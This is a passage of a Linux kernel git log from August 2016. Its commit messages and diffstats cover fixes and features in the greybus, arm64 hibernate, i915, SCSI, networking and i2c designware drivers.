CPort is stuck waiting for credit, the CPort is likely still stuck when we try to send the cport_shutdown request over it after the callback returns. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arpc.h | 4 ++++ drivers/staging/greybus/es2.c | 19 +++++++++++++++++++ 2 files changed, 23 insertions(+) commit 6ac9166d4e91a6dea03b64b64f128e0f927aa7ec Author: Rui Miguel Silva Date: Fri Aug 26 11:52:05 2016 +0100 greybus: power_supply: fix name setting location We were checking for existing power supply names in the wrong place, i.e, we were checking before any of the module power supply were registered, because of that of course no name collision was detected. Move the check to the register loop and with that we guarantee that this mechanism works for greybus power supply naming. Tested: using gbsim and using power supply with the same name and check that: 1. no problems creating sysfs entries; 2. naming is done following the desired rules. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit cc43368a3cde151739ad20cbf71139530bd53f1a Author: Kris Huang Date: Thu Aug 25 16:57:14 2016 +0800 greybus: lights: Control runtime pm suspend/resume on AP side According to runtime pm architecture, the kernel side driver should be as smart as needed to know when the module is idle or active, so that it can issue the suspend/resume operations to the firmware side at the right time. To add logics prevents AP from issuing the suspend request to the firmware when a channel turning to active state, and put it to suspend if the state is going to inactive with still holding a reference. Testing Done: Compiled and verified on EVT2 and gpbridge-test module with device class daughter board. Signed-off-by: Kris Huang Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 59 +++++++++++++++++++++++++++++++++++++++-- 1 file changed, 57 insertions(+), 2 deletions(-) commit 0e352343c2e371ad618d8850f542e9ca230e3aa6 Author: David Lin Date: Mon Aug 22 15:51:11 2016 -0700 greybus: light: fix incorrect led attribute files allocation Fix incorrect attribute size when the channel supports fader, as well as fixing the issue that the attribute list is not null terminated. Testing Done: - Verified by setting brightness and color on red/green/blue leds of the device class test board. Signed-off-by: David Lin Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit f0ec8cd5eb49e0360ce6ba865d5f2267b28d1f84 Author: Mark Greer Date: Sat Aug 20 16:25:06 2016 -0700 greybus: audio: Fix incorrect direction value when enabling RX The direction value passed to gb_audio_apbridgea_register_cport() in the gbaudio_module_enable_rx() routine is TX and not RX like it should be so fix it. Testing Done: Recorded microphone data from a headset. Signed-off-by: Mark Greer Fixes: c80e7c6fafa5 ("audio: Split helper APIs based on stream direction") Tested-by: Vaibhav Agarwal Reviewd-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6ffe9923f2350c19b95a2c9ebf1b4f5f275986f2 Author: Will Deacon Date: Mon Aug 22 11:58:36 2016 +0100 arm64: errata: Pass --fix-cortex-a53-843419 to ld if workaround enabled Cortex-A53 erratum 843419 is worked around by the linker, although it is a configure-time option to GCC as to whether ld is actually asked to apply the workaround or not. This patch ensures that we pass --fix-cortex-a53-843419 to the linker when both CONFIG_ARM64_ERRATUM_843419=y and the linker supports the option. Acked-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/Kconfig | 15 +++++---------- arch/arm64/Makefile | 8 ++++++++ 2 files changed, 13 insertions(+), 10 deletions(-) commit b2d8b0cb6ca9cb81dd71626642f764ac70d10813 Author: James Morse Date: Wed Aug 17 13:50:27 2016 +0100 Revert "arm64: hibernate: Refuse to hibernate if the boot cpu is offline" Now that we use the MPIDR to resume on the same CPU that we hibernated on, we no longer need to refuse to hibernate if the boot cpu is offline. (Which we can't possibly know if kexec causes logical CPUs to be renumbered). This reverts commit 1fe492ce6482b77807b25d29690a48c46456beee. Signed-off-by: James Morse Acked-by: Catalin Marinas Signed-off-by: Will Deacon arch/arm64/kernel/hibernate.c | 26 -------------------------- 1 file changed, 26 deletions(-) commit 8ec058fd2710da1df463c19a4e0ee55ac4530f09 Author: James Morse Date: Wed Aug 17 13:50:26 2016 +0100 arm64: hibernate: Resume when hibernate image created on non-boot CPU disable_nonboot_cpus() assumes that the lowest numbered online CPU is the boot CPU, and that this is the correct CPU to run any power management code on. On arm64 CPU0 can be taken offline. For hibernate/resume this means we may hibernate on a CPU other than CPU0. If the system is rebooted with kexec 'CPU0' will be assigned to a different CPU. This complicates hibernate/resume as now we can't trust the CPU numbers. We currently forbid hibernate if CPU0 has been hotplugged out to avoid this situation without kexec. Save the MPIDR of the CPU we hibernated on in the hibernate arch-header, use hibernate_resume_nonboot_cpu_disable() to direct which CPU we should resume on based on the MPIDR of the CPU we hibernated on. This allows us to hibernate/resume on any CPU, even if the logical numbers have been shuffled by kexec. Signed-off-by: James Morse Cc: Mark Rutland Cc: Lorenzo Pieralisi Reviewed-by: Catalin Marinas Signed-off-by: Will Deacon arch/arm64/include/asm/suspend.h | 3 +++ arch/arm64/kernel/hibernate.c | 51 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 54 insertions(+) commit d391e552293399396c131544f5b1c2f9b1fb0baa Author: James Morse Date: Wed Aug 17 13:50:25 2016 +0100 cpu/hotplug: Allow suspend/resume CPU to be specified disable_nonboot_cpus() assumes that the lowest numbered online CPU is the boot CPU, and that this is the correct CPU to run any power management code on. On x86 this is always correct, as CPU0 cannot (easily) by taken offline. On arm64 CPU0 can be taken offline. For hibernate/resume this means we may hibernate on a CPU other than CPU0. If the system is rebooted with kexec 'CPU0' will be assigned to a different physical CPU. This complicates hibernate/resume as now we can't trust the CPU numbers. Arch code can find the correct physical CPU, and ensure it is online before resume from hibernate begins, but also needs to influence disable_nonboot_cpus()s choice of CPU. Rename disable_nonboot_cpus() as freeze_secondary_cpus() and add an argument indicating which CPU should be left standing. Follow the logic in migrate_to_reboot_cpu() to use the lowest numbered online CPU if the requested CPU is not online. Add disable_nonboot_cpus() as an inline function that has the existing behaviour. Cc: Rafael J. Wysocki Reviewed-by: Thomas Gleixner Signed-off-by: James Morse Signed-off-by: Will Deacon include/linux/cpu.h | 6 +++++- kernel/cpu.c | 9 +++++---- 2 files changed, 10 insertions(+), 5 deletions(-) commit 4c0437d03519c0e32ee3aceda63a7087c9bc1022 Author: Chris Packham Date: Wed Aug 24 11:21:15 2016 +1200 ARM: dts: armada-38x: Add NAND pinctrl information Add pin control information for the NAND flash interface. This interface is multiplexed with the device bus interface to the function is "dev" not "nand" as one might expect. Signed-off-by: Chris Packham Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-38x.dtsi | 9 +++++++++ 1 file changed, 9 insertions(+) commit 4f0fbdf22e739c94ad4c18c790be014dddaedd28 Author: Markus Elfring Date: Thu Aug 25 13:23:06 2016 +0200 xen/grant-table: Use kmalloc_array() in arch_gnttab_valloc() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus reuse the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of a data type by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Juergen Gross Signed-off-by: David Vrabel arch/x86/xen/grant-table.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bc49d1d17dcffd38bd872a4089e86bb7b2bb7eee Author: Felipe Balbi Date: Fri Aug 26 12:21:34 2016 +0300 usb: gadget: don't couple configfs to legacy gadgets It's perfectly fine to have all configfs functions built-in while having modular legacy gadgets. Let's allow for that. Signed-off-by: Felipe Balbi drivers/usb/gadget/Kconfig | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) commit 40982fd6b975de4a51ce5147bc1d698c3b075634 Author: Mark Rutland Date: Thu Aug 25 17:23:23 2016 +0100 arm64: always enable DEBUG_RODATA and remove the Kconfig option Follow the example set by x86 in commit 9ccaf77cf05915f5 ("x86/mm: Always enable CONFIG_DEBUG_RODATA and remove the Kconfig option"), and make these protections a fundamental security feature rather than an opt-in. This also results in a minor code simplification. For those rare cases when users wish to disable this protection (e.g. for debugging), this can be done by passing 'rodata=off' on the command line. As DEBUG_RODATA_ALIGN is only intended to address a performance/memory tradeoff, and does not affect correctness, this is left user-selectable. DEBUG_MODULE_RONX is also left user-selectable until the core code provides a boot-time option to disable the protection for debugging use-cases. Cc: Catalin Marinas Acked-by: Ard Biesheuvel Acked-by: Kees Cook Acked-by: Laura Abbott Signed-off-by: Mark Rutland Signed-off-by: Will Deacon arch/arm64/Kconfig | 3 +++ arch/arm64/Kconfig.debug | 10 ---------- arch/arm64/kernel/insn.c | 2 +- 3 files changed, 4 insertions(+), 11 deletions(-) commit 7e84a8d13f97aa4487371c39e2b8918883e0ce3a Author: Jason Cooper Date: Mon Aug 15 14:51:04 2016 +0000 ARM: dts: kirkwood: Fix Openblock A6 external GPIO pins By assigning the pin hog to the pinctrl node, we correctly configure the MPPs. However, they are not available to userspace. Fix this by assigning the hogs to the gpio node. After this, the following works as expected: # echo 28 >/sys/class/gpio/export # echo low >/sys/class/gpio/gpio28/direction [gregory.clement@free-electrons.com: fix title] Signed-off-by: Jason Cooper Reviewed-by: Andrew Lunn Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/kirkwood-openblocks_a6.dts | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 1ab9a7dae115885ddd6c24a70793c622425d6725 Author: Fabian Frederick Date: Fri Aug 12 23:47:18 2016 +0200 ARM: mvebu_v5_defconfig: use MV88E6XXX Commit f81ec90fe9cb ("net: dsa: mv88e6xxx: factorize the switch driver") merged CONFIG_NET_DSA_MV88E6131 CONFIG_NET_DSA_MV88E6123 CONFIG_NET_DSA_MV88E6171 CONFIG_NET_DSA_MV88E6352 to CONFIG_NET_DSA_MV88E6XXX Signed-off-by: Fabian Frederick Signed-off-by: Gregory CLEMENT arch/arm/configs/mvebu_v5_defconfig | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit cfa1c7c8af9fe956d446a7d5b8ed3a895496884c Author: Gregory CLEMENT Date: Mon Aug 8 18:13:08 2016 +0200 arm64: configs: enable PCIe driver for Aardvark This patch enables the driver for the PCIe host controller found on the Marvell Armada 3700 ARM64 SoCs. Signed-off-by: Gregory CLEMENT arch/arm64/configs/defconfig | 1 + 1 file changed, 1 insertion(+) commit 98e45c1675a018e1121c1244985cf80b790fb6c4 Author: Thomas Petazzoni Date: Fri Aug 5 16:55:21 2016 +0200 arm64: dts: marvell: describe the PIC and PMU on Armada 7K/8K This commit adds the necessary Device Tree description for the PIC interrupt controller and the PMU available in the Marvell Armada 7K and Armada 8K SoCs. Signed-off-by: Thomas Petazzoni Signed-off-by: Gregory CLEMENT arch/arm64/boot/dts/marvell/armada-ap806.dtsi | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit ecbd6781b27799cccd6ba647868d1b5341c9523d Author: David Weinehall Date: Tue Aug 23 12:23:56 2016 +0300 drm/i915/debugfs: Add panel delays for eDP The eDP backlight and panel enable/disable delays are quite useful to know when measuring time consumed by suspend/resume, and while the information is printed to the kernel log as debug messages, having this information in debugfs makes things easier. Signed-off-by: David Weinehall Link: http://patchwork.freedesktop.org/patch/msgid/20160823092356.7610-1-david.weinehall@linux.intel.com Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_debugfs.c | 42 +++++++++++++++++++++++++++++++++++-- 1 file changed, 40 insertions(+), 2 deletions(-) commit 4cc6907501ed2393a70ad92a30e00dc54c536e50 Author: Chris Wilson Date: Thu Aug 25 19:05:19 2016 +0100 drm/i915: Add I915_PARAM_MMAP_GTT_VERSION to advertise unlimited mmaps Now that we have working partial VMA and faulting support for all objects, including fence support, advertise to userspace that it can take advantage of unlimited GGTT mmaps. v2: Make room in the kerneldoc for a more detailed explanation of the limitations of the GTT mmap interface. Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Joonas Lahtinen Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160825180519.11341-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.c | 7 ++++++ drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_gem.c | 53 +++++++++++++++++++++++++++++++++++++++++ include/uapi/drm/i915_drm.h | 1 + 4 files changed, 62 insertions(+) commit a6104b1e1846273d52b9230d700939fef0a9da80 Author: Tyrel Datwyler Date: Wed Aug 3 16:36:53 2016 -0500 scsi: ibmvfc: add FC Class 3 Error Recovery support The ibmvfc driver currently doesn't support FC Class 3 Error Recovery. However, it is simply a matter of informing the VIOS that the payload expects to use sequence level error recovery via a bit flag in the ibmvfc_cmd structure. This patch adds a module parameter to enable error recovery support at boot time. When enabled the RETRY service parameter bit is set during PRLI, and ibmvfc_cmd->flags includes the IBMVFC_CLASS_3_ERR bit. Signed-off-by: Tyrel Datwyler Signed-off-by: Martin K. Petersen drivers/scsi/ibmvscsi/ibmvfc.c | 10 ++++++++++ drivers/scsi/ibmvscsi/ibmvfc.h | 1 + 2 files changed, 11 insertions(+) commit bb5a505407dfbfbdfa9d6e18fbe917ac83ab023a Author: Tyrel Datwyler Date: Wed Aug 3 16:36:52 2016 -0500 scsi: ibmvfc: Set READ FCP_XFER_READY DISABLED bit in PRLI The READ FCP_XFER_READY DISABLED bit is required to always be set to one since FCP-3. Set it in the service parameter page frame during process login. Signed-off-by: Tyrel Datwyler Signed-off-by: Martin K. Petersen drivers/scsi/ibmvscsi/ibmvfc.c | 1 + 1 file changed, 1 insertion(+) commit 39f275740483141cc598cebeaada76581a615c6b Author: Christophe JAILLET Date: Tue Aug 9 13:30:02 2016 +0200 scsi: aic94xx: Add missing error code assignment before test It is likely that checking the result of 'pci_write_config_dword' is expected here. Signed-off-by: Christophe JAILLET Signed-off-by: Martin K. Petersen drivers/scsi/aic94xx/aic94xx_hwi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0d5644b7d8daa3c1d91acb4367731f568c9c9469 Author: Heiner Kallweit Date: Wed Aug 3 21:49:03 2016 +0200 scsi: configure runtime pm before calling device_add in scsi_add_host_with_dma Runtime PM should be configured already once we call device_add. See also the description in this mail thread https://lists.linuxfoundation.org/pipermail/linux-pm/2009-November/023198.html or the order of calls e.g. in usb_new_device. The changed order also helps to avoid scenarios where runtime pm for &shost->shost_gendev is activated whilst the parent is suspended, resulting in error message "runtime PM trying to activate child device hostx but parent yyy is not active". In addition properly reverse the runtime pm calls in the error path. Signed-off-by: Heiner Kallweit Acked-by: Alan Stern Signed-off-by: Martin K. Petersen drivers/scsi/hosts.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit afc3f83cb4a5bb3c8f18380bdeca6b65a6ff9543 Author: Brian King Date: Wed Aug 24 12:56:51 2016 -0500 scsi: ipr: Add asynchronous error notification This patch implements functions for pushing HCAM (host controlled asynchronous messages) error buffers to userspace through sysfs attributes. Reads to the "async_err_log" attribute will result in a single HCAM buffer being copied to userspace; one can process the next HCAM buffer by writing any string to the same attribute. A new list was added to the ioa_cfg structure to store the HCAM buffers for later reporting. We also send a KOBJ_CHANGE event whenever a new HCAM buffer is made available to userspace. Signed-off-by: Heitor Ricardo Alves de Siqueira Signed-off-by: Gabriel Krisman Bertazi Signed-off-by: Brian King Signed-off-by: Martin K. Petersen drivers/scsi/ipr.c | 125 ++++++++++++++++++++++++++++++++++++++++++++++++----- drivers/scsi/ipr.h | 7 ++- 2 files changed, 118 insertions(+), 14 deletions(-) commit 6328d9030f0fcf9935a00b1cd9d90c1129526a9c Author: John Garry Date: Wed Aug 24 19:05:54 2016 +0800 scsi: hisi_sas: update version to 1.6 Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4ffde482213ed77ea8743d1fb3eccad6e14b151b Author: John Garry Date: Wed Aug 24 19:05:53 2016 +0800 scsi: hisi_sas: add TMF success check When a tmf is issued, various response codes can be returned from the target. For a query tmf the response may be TMF_RESP_FUNC_COMPLETE or TMF_RESP_FUNC_SUCC. Add a condition for TMF_RESP_FUNC_SUCC to hisi_sas_exec_internal_tmf_task(). This affects query tmf, as the result is success the returned value was for failure. Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_main.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 9859f24e9a25fc774c4d960568f12bdd634e00ca Author: John Garry Date: Wed Aug 24 19:05:52 2016 +0800 scsi: hisi_sas: fail tmf task prep when port detached When the port is detached we cannot execute a TMF, as there can be no device attached to the port. Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit df032d0e4dbe2597dfa3f60c06b1c260e3870a3d Author: John Garry Date: Wed Aug 24 19:05:51 2016 +0800 scsi: hisi_sas: add v2 hw slot complete internal abort support Add code in slot_complete_v2_hw() to deal with the slots which have completed due to internal abort. The status codes have the following meaning: - STAT_IO_ABORTED: the IO has been aborted due to internal abort, whether by device or individual abort command - STAT_IO_COMPLETE: internal abort command has completed successfully for device or individual abort command - STAT_IO_NO_DEVICE: internal abort command has completed for device but cannot find any IO - STAT_IO_NOT_VALID: internal abort command has completed for single command but could not find the command Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit a3e665d91fcafbf29c92b09e44dc29a9c1436a18 Author: John Garry Date: Wed Aug 24 19:05:50 2016 +0800 scsi: hisi_sas: add prep_abort_v2_hw() Add function to prepare the an internal abort for v2 hw. Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) commit dc8a49cabc73dea7c1c05c6648dcfc67dbd0d5fc Author: John Garry Date: Wed Aug 24 19:05:49 2016 +0800 scsi: hisi_sas: add internal abort to hisi_sas_abort_task() Execute an internal abort for executing a task abort. This is for case of the command still being present in host when abort is executed. For a SATA internal abort, we set abort for all tasks associated with the device. Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_main.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) commit 40f2702b57eb16ef918a0d328201043eb43438a3 Author: John Garry Date: Wed Aug 24 19:05:48 2016 +0800 scsi: hisi_sas: add internal abort in hisi_sas_dev_gone() Execute an internal abort for that device when it is removed, so that commands for that device are not processed. Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_main.c | 3 +++ 1 file changed, 3 insertions(+) commit 441c27401470c417cf4a33ab9c17bcefdf1ecca3 Author: John Garry Date: Wed Aug 24 19:05:47 2016 +0800 scsi: hisi_sas: add internal abort main code Add main code for internal abort functionality. The internal abort features allows the host controller to abort commands which are still active in the controller but have not yet been sent to the slave device. Typically a command only spends a relatively short time in the controller when compared to the amount of the time after it is sent to the slave device. Two modes of internal abort are supported: - device - individual command For device, when the internal abort is issued all commands in the host for that device are aborted. For a single command, only that command is aborted if it is still in the host. In HW the internal abort command is executed similar to any other sort of command, like SSP. Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas.h | 8 ++ drivers/scsi/hisi_sas/hisi_sas_main.c | 163 ++++++++++++++++++++++++++++++++++ 2 files changed, 171 insertions(+) commit 108c8670df99dd689494c0ba981b5e82c863caf2 Author: Shawn Lin Date: Sun Aug 21 10:39:24 2016 +0800 scsi: esas2r: don't reinitialize adapter's req_table req_table is allocate by kzalloc, so we don't need to zero it again. Signed-off-by: Shawn Lin Acked-by: Bradley Grove Signed-off-by: Martin K. Petersen drivers/scsi/esas2r/esas2r_init.c | 4 ---- 1 file changed, 4 deletions(-) commit 67f251759ea28a1e803deda47de6e37d4857ba69 Author: Shawn Lin Date: Sun Aug 21 10:33:29 2016 +0800 scsi: esas2r: not need to alloc zero buffer for local_atto_ioctl We don't need to use kzalloc as we will always memset the local_atto_ioctl later. Signed-off-by: Shawn Lin Acked-by: Bradley Grove Signed-off-by: Martin K. Petersen drivers/scsi/esas2r/esas2r_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9a0a5c4cb1af98b625dcefd72e987ca4929db71d Author: Florian Fainelli Date: Wed Aug 24 14:21:41 2016 -0700 net: systemport: Fix ordering in intrl2_*_mask_clear macro Since we keep shadow copies of which interrupt sources are enabled through the intrl2_*_mask_{set,clear} macros, make sure that the ordering in which we do these two operations: update the copy, then unmask the register is correct. This is not currently a problem because we actually do not use them, but we will in a subsequent patch optimizing register accesses, so better be safe here. Fixes: 80105befdb4b ("net: systemport: add Broadcom SYSTEMPORT Ethernet MAC driver") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bcmsysport.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eb60a8ddf3c38959cc73821bec5335bed85e0200 Author: Eric Dumazet Date: Wed Aug 24 10:23:34 2016 -0700 net: minor optimization in qdisc_qstats_cpu_drop() per_cpu_inc() is faster (at least on x86) than per_cpu_ptr(xxx)++; Signed-off-by: Eric Dumazet Acked-by: John Fastabend Signed-off-by: David S. Miller include/net/sch_generic.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 72145a68e4ee116533df49af4b87aca0aacc179c Author: Eric Dumazet Date: Wed Aug 24 09:01:23 2016 -0700 tcp: md5: add LINUX_MIB_TCPMD5FAILURE counter Adds SNMP counter for drops caused by MD5 mismatches. The current syslog might help, but a counter is more precise and helps monitoring. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller include/uapi/linux/snmp.h | 1 + net/ipv4/proc.c | 1 + net/ipv4/tcp_ipv4.c | 1 + net/ipv6/tcp_ipv6.c | 1 + 4 files changed, 4 insertions(+) commit e65c332de8a0c9f570847ec490b60effffcd5320 Author: Eric Dumazet Date: Wed Aug 24 08:50:24 2016 -0700 tcp: md5: increment sk_drops on syn_recv state TCP MD5 mismatches do increment sk_drops counter in all states but SYN_RECV. This is very unlikely to happen in the real world, but worth adding to help diagnostics. We increase the parent (listener) sk_drops. Signed-off-by: Eric Dumazet Acked-by: Neal Cardwell Signed-off-by: David S. Miller net/ipv4/tcp_ipv4.c | 1 + net/ipv6/tcp_ipv6.c | 1 + 2 files changed, 2 insertions(+) commit bb40aca7cf153e3e2941140d3850a4b6c4205ccb Author: Wei Yongjun Date: Wed Aug 24 15:07:26 2016 +0000 vmxnet3: fix non static symbol warning Fixes the following sparse warning: drivers/net/vmxnet3/vmxnet3_drv.c:1645:1: warning: symbol 'vmxnet3_rq_destroy_all_rxdataring' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: Shrikrishna Khare Signed-off-by: David S. Miller drivers/net/vmxnet3/vmxnet3_drv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0e87203af470d5c169cbe89df4e98ed256107038 Author: Wei Yongjun Date: Wed Aug 24 13:47:58 2016 +0000 ibmvnic: fix error return code in ibmvnic_probe() Fix to return error code -ENOMEM from the dma_map_single error handling case instead of 0, as done elsewhere in this function. Fixes: 032c5e82847a ("Driver for IBM System i/p VNIC protocol") Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 1 + 1 file changed, 1 insertion(+) commit 7a95e94ce0c255327eb8acb07241a95f3250b54b Author: Wei Yongjun Date: Wed Aug 24 13:50:03 2016 +0000 ibmvnic: convert to use simple_open() Remove an open coded simple_open() function and replace file operations references to the function with simple_open() instead. Generated by: scripts/coccinelle/api/simple_open.cocci Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) commit 6d54f1446dbe1c595e8af2e750d0e82c6697c936 Merge: 0317e6c 8a191a7 Author: Wolfram Sang Date: Fri Aug 26 00:49:37 2016 +0200 Merge branch 'i2c-mux-dt-3' of https://github.com/peda-r/i2c-mux into i2c/for-4.9 Signed-off-by: Wolfram Sang commit 0317e6c0f1dc1ba86b8d9dccc010c5e77b8355fa Author: Lucas De Marchi Date: Tue Aug 23 19:18:56 2016 -0300 i2c: designware: do not disable adapter after transfer Disabling the adapter after each transfer adds additional delays for each I2C transfer. Even if we don't wait for it to be disabled anymore, on next transfer we will need to if we have several transfers in a row. Now during the transfer init we check if IC_TAR can be changed dynamically, the status register for no activity and TX buffer being empty. In this case we don't need to disable it When a transfer fails the adapter will still be disabled - this is a conservative approach. When transfers succeed, the adapter is left enabled and it's configured so to disable interrupts. Alternating register reads on 2 slaves: perf stat -r4 chrt -f 10 ./i2c-test /dev/i2c-1 25000 0x40 0x6 0x1e 0x00 Before: 8.638705161 seconds time elapsed ( +- 5.90% ) After: 7.516821591 seconds time elapsed ( +- 0.11% ) Signed-off-by: Lucas De Marchi Signed-off-by: José Roberto de Souza Acked-by: Jarkko Nikula Tested-by: Christian Ruppert Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.c | 55 +++++++++++++++++++++----------- 1 file changed, 37 insertions(+), 18 deletions(-) commit 63d0f0a6952a1a02bc4f116b7da7c7887e46efa3 Author: Lucas De Marchi Date: Tue Aug 23 19:18:55 2016 -0300 i2c: designware: detect when dynamic tar update is possible This adapter can be synthesized with dynamic tar update enabled or disabled. When enabled it is not necessary to disable the adapter to change the slave address in some situations, which saves some time per transaction. There is no direct register to know if this feature is enabled but we can do it indirectly by writing to the 10BIT_ADDR field in IC_CON: this field is read only when dynamic tar update is enabled. Signed-off-by: Lucas De Marchi Signed-off-by: José Roberto de Souza Acked-by: Jarkko Nikula Tested-by: Christian Ruppert Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.c | 45 ++++++++++++++++++++++++-------- drivers/i2c/busses/i2c-designware-core.h | 1 + 2 files changed, 35 insertions(+), 11 deletions(-) commit 8c5660bb299a9350857e1e5800b7db8214e3f75c Author: Lucas De Marchi Date: Tue Aug 23 19:18:54 2016 -0300 i2c: designware: add common functions for locking These are used in 2 places and will be needed in more. Signed-off-by: Lucas De Marchi Acked-by: Jarkko Nikula Tested-by: Christian Ruppert Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.c | 52 ++++++++++++++++++++------------ 1 file changed, 32 insertions(+), 20 deletions(-) commit 2702ea7dbec55db62fa3016c7275fea7b508033f Author: José Roberto de Souza Date: Tue Aug 23 19:18:53 2016 -0300 i2c: designware: wait for disable/enable only if necessary If we aren't going to continue using the controller we can just disable it instead of waiting for it to complete. The biggest improvement here is when a I2C transaction is completed and it doesn't block until the adapter is disabled. When a new transfer is needed we will disable and wait for its completion. This way the adapter will continue changing its state in parallel to the execution of the thread that requested the I2C transaction saving most of the time 25~250 usec per I2C transaction. A simple program doing a register read (1 byte write, 1 byte read) alternating on 2 different slaves repeated 25k times for each and measurements taken 4 times we get: perf stat -r4 chrt -f 10 ./i2c-test /dev/i2c-1 25000 0x40 0x6 0x1e 0x00 Before: 30.879317977 seconds time elapsed ( +- 14.83% ) After: 8.638705161 seconds time elapsed ( +- 5.90% ) Signed-off-by: José Roberto de Souza Signed-off-by: Lucas De Marchi Acked-by: Jarkko Nikula Tested-by: Christian Ruppert Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 10f8e7fb371c9e575e772bc6fcc385dc973f6e87 Author: Jarkko Nikula Date: Fri Aug 12 17:02:54 2016 +0300 i2c: designware: Find bus speed from ACPI Fast mode is the default speed of i2c-designware which can be overridden by platform data or by "clock-frequency" device property. Even though the ACPI 5.1 can pass device properties via _DSD method, shipping systems define the connection speed between I2C host and each slave in their I2cSerialBus resources. Which means speed is not defined per bus but per slave. As there is now support in i2c-core to find the bus speed from ACPI use that to set up the bus speed prior registering the I2C adapter. Signed-off-by: Jarkko Nikula Reviewed-by: Andy Shevchenko Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-platdrv.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 5853b22d96fa786365ff11fe9f008a68a533f043 Author: Jarkko Nikula Date: Fri Aug 12 17:02:53 2016 +0300 i2c: core: Add function for finding the bus speed from ACPI, take 2 ACPI 5 specification doesn't have property for the I2C bus speed but I2cSerialBus resource descriptor which define each controller-slave connection define the maximum speed supported by that connection. Thus finding the maximum safe speed for the bus is to walk through all I2cSerialBus resources that are associated to I2C controller and use the speed of slowest connection. Add function i2c_acpi_find_bus_speed() to the i2c-core that adapter drivers can call prior registering itself to core. This implies two-step walk through the I2cSerialBus resources: call to i2c_acpi_find_bus_speed() does the first scan and finds the safe bus speed that adapter drivers can set up. Adapter driver registration does the second scan when i2c-core creates the I2C slaves by calling the i2c_acpi_register_devices(). In that way the bus speed is set in case slave device probe gets called during registration and does communication. Previous version commit 55d38d060e99 ("i2c: core: Add function for finding the bus speed from ACPI") got reverted due merge conflicts from commit 525e6fabeae2 ("i2c / ACPI: add support for ACPI reconfigure notifications"). This version is a bit bigger than previous version but is still sharing the lowest and complicated part of I2cSerialBus lookup routines with the existing code. Signed-off-by: Jarkko Nikula 